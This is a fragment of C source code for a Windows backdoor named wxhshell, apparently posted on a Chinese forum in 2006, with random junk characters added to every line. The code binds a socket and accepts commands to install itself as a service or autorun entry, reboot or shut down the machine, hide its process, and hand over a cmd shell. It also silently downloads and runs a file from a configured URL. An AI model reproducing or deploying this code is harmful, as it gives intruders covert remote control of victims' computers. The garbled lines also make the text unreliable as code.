  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E!v^j=h$u  
  } =OU]<%  
  else { VKXZA2<?'  
rkC6 -9V  
    switch(cmd[0]) { {;j@-=pV  
  _=68iDXm  
  // 帮助 L}5IX)#gH  
  case '?': { {uuvgFC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I6,sN9` K  
    break; 6mbHfL>cO  
  } {glRX R  
  // 安装 )./.rtP|4  
  case 'i': { =*?2+ ;  
    if(Install()) %Lwd1'C%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3O!TVSo  
    else g&6O*vx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *,=WaODO%  
    break; MX#MDA-4  
    } Z`lCS o;  
  // 卸载 *^5..0du  
  case 'r': { s(Tgv  
    if(Uninstall()) 4yu ^cix(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q8 r 7  
    else |xQq+e}l<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M`kR2NCi  
    break; "3Z<V8xB  
    } Q&Ox\*sMK  
  // 显示 wxhshell 所在路径 *|DIG{  
  case 'p': { :g[G&Ds8  
    char svExeFile[MAX_PATH]; 1*Ui=M4  
    strcpy(svExeFile,"\n\r"); >{]mN5  
      strcat(svExeFile,ExeFile); qg;f h]j%  
        send(wsh,svExeFile,strlen(svExeFile),0); _Ak?i\  
    break; Bz#K_S  
    } 63?fn~0\  
  // 重启 MJ:>ZRXC E  
  case 'b': { :,^pLAt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2o5v{W  
    if(Boot(REBOOT)) uKZe"wN;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ua+P(1q  
    else { ,lly=OhKb  
    closesocket(wsh); e!(0y)*  
    ExitThread(0); fC4 D#  
    } @|^2 +K/  
    break; =7c1l77z  
    } : *Nvy={c  
  // 关机 hA81(JWG  
  case 'd': { ToHCS/J59  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wGC)gW  
    if(Boot(SHUTDOWN)) kGZ_/"iuO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]mh}=:KDg  
    else { K$..#]\TM  
    closesocket(wsh); B R-(@  
    ExitThread(0); )2 P4EEs[  
    } R.EA5X|_  
    break; )A4WK+yD$z  
    } Y+#e| x  
  // 获取shell 7gV"pa  
  case 's': { `[;b#.  
    CmdShell(wsh); <k^P>Irb3t  
    closesocket(wsh); $MmCh&V  
    ExitThread(0); .qioEqK8!y  
    break; ReCmv/AE  
  } Zbp ByRyN  
  // 退出 !m#cneV  
  case 'x': { 'sL>U$(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a9q68  
    CloseIt(wsh); [z:bnS~yiD  
    break; $3! j1  
    } Aghcjy|j  
  // 离开 2b]'KiX  
  case 'q': { q(Y<cJ?X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4C ;4"6  
    closesocket(wsh); _F *(" o  
    WSACleanup(); Yp`6305f  
    exit(1); w 1E}F  
    break; _= _]Yx  
        } *Bt`6u.>e,  
  } 1a)NM#  
  }  kQ$Q}3f  
:ji_dQ8k  
  // 提示信息 |*N.SS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OjCT*qyU<  
} +SmcZ^\OZ  
  } byv(:xk|'e  
HlB'yOHv!  
  return; HB$*xS1  
} >,`/ z  
8Us5Oi  
// shell模块句柄 k})Ag7c  
int CmdShell(SOCKET sock) 9BGPq)#  
{ sa`7_KB  
STARTUPINFO si; #(jozl_8  
ZeroMemory(&si,sizeof(si)); \>j._#t$h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TD-d5P^Kek  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !b*lL#s,Y  
PROCESS_INFORMATION ProcessInfo; Oah}7!a)  
char cmdline[]="cmd"; S zOB{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A>$VkGo  
  return 0; i_4FxC4  
} Etj*3/n|  
B7TA:K  
// 自身启动模式 MjG=6.J|`  
int StartFromService(void) Y$EqBN  
{ RC8{QgaI  
typedef struct 2|o6~m<pE  
{ :x97^.eW~  
  DWORD ExitStatus; bG>pm|/  
  DWORD PebBaseAddress; kF~}htv.=  
  DWORD AffinityMask; $6:j3ZTXrt  
  DWORD BasePriority; |Gjd  
  ULONG UniqueProcessId; nD.4c-hd$q  
  ULONG InheritedFromUniqueProcessId; Z\xR+3  
}   PROCESS_BASIC_INFORMATION; Nora<  
/ MSz{ %v  
PROCNTQSIP NtQueryInformationProcess; uj&^W[s  
A $W,#`E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !a3cEzs3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]}F_nc2L  
fk P@e3  
  HANDLE             hProcess; `6!l!8 v  
  PROCESS_BASIC_INFORMATION pbi; ReP7c3D>p  
Qg?^%O'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3bpbk  
  if(NULL == hInst ) return 0; )KR9alf3  
!5 %c`4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _p7c<$ ;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p[&'*"o!/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PP&AF?C  
GFx >xQk  
  if (!NtQueryInformationProcess) return 0; v4(!~S  
Gw3|"14  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qm,|'y:Tg  
  if(!hProcess) return 0; Rs8`M8(4%  
D(}v`q{Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vN 7a)s  
aD3'gc,l  
  CloseHandle(hProcess); S8<O$^L^  
~tDV{ml  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TeG5|`t],  
if(hProcess==NULL) return 0; 6{}]QvR  
(ui"vLk8PP  
HMODULE hMod; Z KnEg2a  
char procName[255]; eUVE8pZl  
unsigned long cbNeeded; F)lDK.  
rjQV;kX>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hp,bfcM  
Eti;(>"@  
  CloseHandle(hProcess); G(|ki9^@"9  
j,Qp*b#Qo  
if(strstr(procName,"services")) return 1; // 以服务启动 8@Xq ,J  
KCDEMs}}zM  
  return 0; // 注册表启动 Gs.id^Sf  
} FbJlyWND  
+D`IcR-x  
// 主模块 "m _wYX  
int StartWxhshell(LPSTR lpCmdLine) d~O\zLQ;  
{ #=5/D@  
  SOCKET wsl; \Q?r+VZ  
BOOL val=TRUE; A"#Gg7]tl'  
  int port=0; +Ld4 e]  
  struct sockaddr_in door; zhKb|SV  
[st4FaQ36  
  if(wscfg.ws_autoins) Install(); UbJ_'>hK6  
}!(cm;XA"  
port=atoi(lpCmdLine); 0~R0)Q,  
>Rjk d>K3  
if(port<=0) port=wscfg.ws_port; ,K6s'3O(LW  
\NS\>Q+d  
  WSADATA data; RXb+"/   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AlIFTNg:"  
i=.zkIjSh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cz+>S3v M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7:R8QS9  
  door.sin_family = AF_INET; yiSv#wD9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <:2El9l!  
  door.sin_port = htons(port); \$V~kgQ0  
z(aei(U=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y0M^oLx  
closesocket(wsl); t@>Uc`%  
return 1; |OUr=b  
} &$qqF&  
B~V^?."  
  if(listen(wsl,2) == INVALID_SOCKET) { {b"V7vn,  
closesocket(wsl); bwqla43gX  
return 1; :7<spd(%"  
} G  2+A`\]  
  Wxhshell(wsl); lSUEE0V%Q  
  WSACleanup(); gb|C592R5C  
w{UVo1r:  
return 0; C!]hu)E  
35?et-=w  
} s|dcO  
D?)91P/R  
// 以NT服务方式启动 ,Za!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^0R.'XL  
{ PP.QfY4  
DWORD   status = 0; * h!gjbi  
  DWORD   specificError = 0xfffffff; {PnvQ?|Z  
S2kFdx*Zf  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  T+9#P4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 200/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kKr7c4q  
  serviceStatus.dwWin32ExitCode     = 0; y>3Zh5=  
  serviceStatus.dwServiceSpecificExitCode = 0; 3u^U\xB  
  serviceStatus.dwCheckPoint       = 0; yJ c#y   
  serviceStatus.dwWaitHint       = 0; \ty{KAc&  
b<P9@h~:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q.>@w<[!L  
  if (hServiceStatusHandle==0) return; <[@AMdS  
O[U^{~iM  
status = GetLastError(); |`1lCyV\tE  
  if (status!=NO_ERROR) D kl4 ^}  
{ JQj?+PI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a"EX<6"  
    serviceStatus.dwCheckPoint       = 0; %YlL-*7 L  
    serviceStatus.dwWaitHint       = 0; fr#Y<=Jo  
    serviceStatus.dwWin32ExitCode     = status; "G].hKgbk*  
    serviceStatus.dwServiceSpecificExitCode = specificError; )pJ} $[6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y>_lxLhmO#  
    return; J70#pF  
  } (, /`*GC  
)q 8w+'z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JcL4q\g  
  serviceStatus.dwCheckPoint       = 0; :3pJGMv(  
  serviceStatus.dwWaitHint       = 0; l E=(6Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yl/-!  
} zRd^Uks  
o|YY,G=C  
// 处理NT服务事件,比如:启动、停止 ~1]4 J(+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ijEMS1$=7  
{ _CO?HX5ek  
switch(fdwControl) hCVe05  
{ %4|*  
case SERVICE_CONTROL_STOP: 1@rI4U@D  
  serviceStatus.dwWin32ExitCode = 0; v;AsV`g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }:<`L\8q\  
  serviceStatus.dwCheckPoint   = 0; 4$#nciAe  
  serviceStatus.dwWaitHint     = 0; tgSl (.  
  { Anr''J&9`H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UmUw>+A  
  } SR)G!9z_/  
  return; >?aPX C  
case SERVICE_CONTROL_PAUSE: {AUhF}O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [-5%[ty9X  
  break; Sio^FOTD  
case SERVICE_CONTROL_CONTINUE: 0tyoH3o/d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z SDRZ!  
  break; 4r&DW'  
case SERVICE_CONTROL_INTERROGATE: e&sZ]{uD  
  break; :,Z'/e0&  
}; >-J%=P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XVr>\T4  
} QVLv}w`O  
z*n  
// 标准应用程序主函数 Yef=HSzo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %Xc50n2Z  
{ sQUJ]h  
qWX%[i%  
// 获取操作系统版本 7iMBDkb7  
OsIsNt=GetOsVer(); Hvqvggfi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A#;6~f  
kZ7\zbN>  
  // 从命令行安装 $;7,T~{  
  if(strpbrk(lpCmdLine,"iI")) Install(); w=Ai?u  
4efIw<1_  
  // 下载执行文件 $/*1 9 e~  
if(wscfg.ws_downexe) { (#I$4Px{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KmS$CFsGL  
  WinExec(wscfg.ws_filenam,SW_HIDE); (mbC! !>  
} UdO(9Jc5^  
p+M#hF5o  
if(!OsIsNt) { e.-+zkQ8EI  
// 如果时win9x,隐藏进程并且设置为注册表启动 O&BNhuW2  
HideProc(); m}Xb#NAF8  
StartWxhshell(lpCmdLine); NZT2ni4  
} %87D(h!.I4  
else 1g_p`(  
  if(StartFromService()) 5&A{IN  
  // 以服务方式启动 )gF>nNE  
  StartServiceCtrlDispatcher(DispatchTable); h,-2+}  
else 8xf]zM"Q  
  // 普通方式启动 YX*NjXL  
  StartWxhshell(lpCmdLine); )(b, v/:  
Ao?y2 [sE  
return 0; QFekj@  
}
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只看该作者 1 发表于: 2006-10-10
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